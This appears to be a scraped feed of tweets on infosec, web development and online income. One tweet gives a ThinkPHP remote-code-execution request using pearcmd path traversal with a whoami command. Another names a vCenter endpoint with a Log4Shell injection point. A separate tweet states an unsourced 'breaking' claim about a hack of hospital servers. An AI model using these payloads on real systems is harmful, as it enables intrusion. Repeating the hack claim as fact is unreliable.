Javascript @javascrpt_js

Joined April 2020

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Clandestine @akaclandestine

2 years ago

Massive-Web-Application-Penetration-Testing-Bug-Bounty-Notes/README.md at main · xalgord/Massive-Web-Application-Penetration-Testing-Bug-Bounty-Notes · GitHub github.com/xalgord/Massiv…

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inversecos @inversecos

2 years ago

my favourite thing about infosec is realising I know nothing

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The 2nd part in my customizing Parrot w/ Ansible Series is now up! It's all about the IDE (vscode) and installing Copilot/Snyk. To showcase the products we take the src from 2Million and use Snyk to find/fix the vuln. Then Copilot to add another feature. youtu.be/VRz_vtPBZzA

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HackGit @hack_git

2 years ago

Ransomware Map Map tracking #ransomware ecosystem, by OCD World Watch team. github.com/cert-orangecyb… #cybersecurity #infosec t.me/hackgit/8992

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Mike Takahashi @TakSec

3 years ago

ChatGPT for bug bounty: 1. Explain JS 2. JS -> Burp Repeater 3. CSRF PoC 4. XSS PoC A thread 🧵👇

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Het Mehta @hetmehtaa

3 years ago

✨ Free SIEM Trainings ✨ A Thread 🧵 | #infosec #siem

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Madza 👨‍💻⚡ @madzadev

3 years ago

Learn Python with these FREE courses from Google (start today):

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Val Katayev @ValKatayev

3 years ago

The most valuable thread you will read this year. 23 time tested ways to make $300k/year from people who’ve done it over & over. Start 2023 with these 23 learnings 👇

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Akshat Gupta 🇮🇳 @Hellfire0x01

4 years ago

Just realized that many people are planning/preparing for eJPT so I just uploaded my cheatsheet on Github. Also, I've made the changes in my blog which is pinned on my profile. Here's the link to cheat sheet, github.com/hellfire0x01/e… #infosec

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张惠倩 @momika233

3 years ago

/index.php?s=index/index/index/think_lang/../../extend/pearcmd/pearcmd/index&cmd=whoami #thinkphp #RCE #0day #bugbounty #bugbountytips

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Namya @ Supafast @namyakhann

3 years ago

Why I left a big tech company to work at a startup:

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N$ @nav1n0x

3 years ago

Another Tip: I found this VMWare vCenter #Log4Shell vulnerability in an endpoint using POST: /analytics/telemetry/ph/api/hyper/send?_c="${payload}". This RCE method actually of CVE-2021-22005, however this ep is vulnerable to Log4Shell as well. #BugBounty --> Bounty $2100.00.

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Csaba Kissi @csaba_kissi

3 years ago

Best Youtube channels for web developers CSS - Kevin Powell - Online Tutorials - Coding Tech Javascript ~ Dev Ed ~ Fireship ~ Web Dev Simplified ~ Steve Griffith React/NodeJs/Python/VueJs: - Traversy Media - The Net Ninja - Programming with Mosh - Free Code Camp - Red Stapler

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ippsec @ippsec

3 years ago

Uploaded the talk #HackTheBox UniCTF Talk I gave last week: "$x is What You Make of It". The talk was geared towards University Students, and can be summed up with tips I wish I was given a decade ago. youtu.be/_EV2Frf5P2E

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Sudhir Chaudhary @sudhirchaudhary

3 years ago

BREAKING: According to top sources, the main servers of AIIMS were hacked from China. The data hacked from the AIIMS servers has reached the main domain of Dark Web.

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🇷🇴 cristi @CristiVlad25

3 years ago

If you're an ethical #hacker, these are highly sought-after skills: 1. Knowledge of Networking: Understanding the fundamentals of network architecture, protocols, and technologies is essential for an #ethicalhacker. (thread)

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Johnny Brown @johnnyxbrown

3 years ago

These 7 websites will teach you more than an $80,000 degree:

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Nikki Siapno @NikkiSiapno

3 years ago

If you want to master Git, watch these YouTube videos:

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Pascio @IAmPascio

3 years ago

Kids are making $20,000/month with no-code. Meanwhile, their parents still make less than $5,000/month. Here's 24 no-code tools start printing money online:

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0xrudra @0xrudrapratap

3 years ago

I had been thinking for a long time about sharing the most important #bugbountytips that changed my infosec journey. I used to do a lot of bug bounty like every other researcher, but with the same mindset of finding low-hanging fruits like IDORs, CSRF, and so on.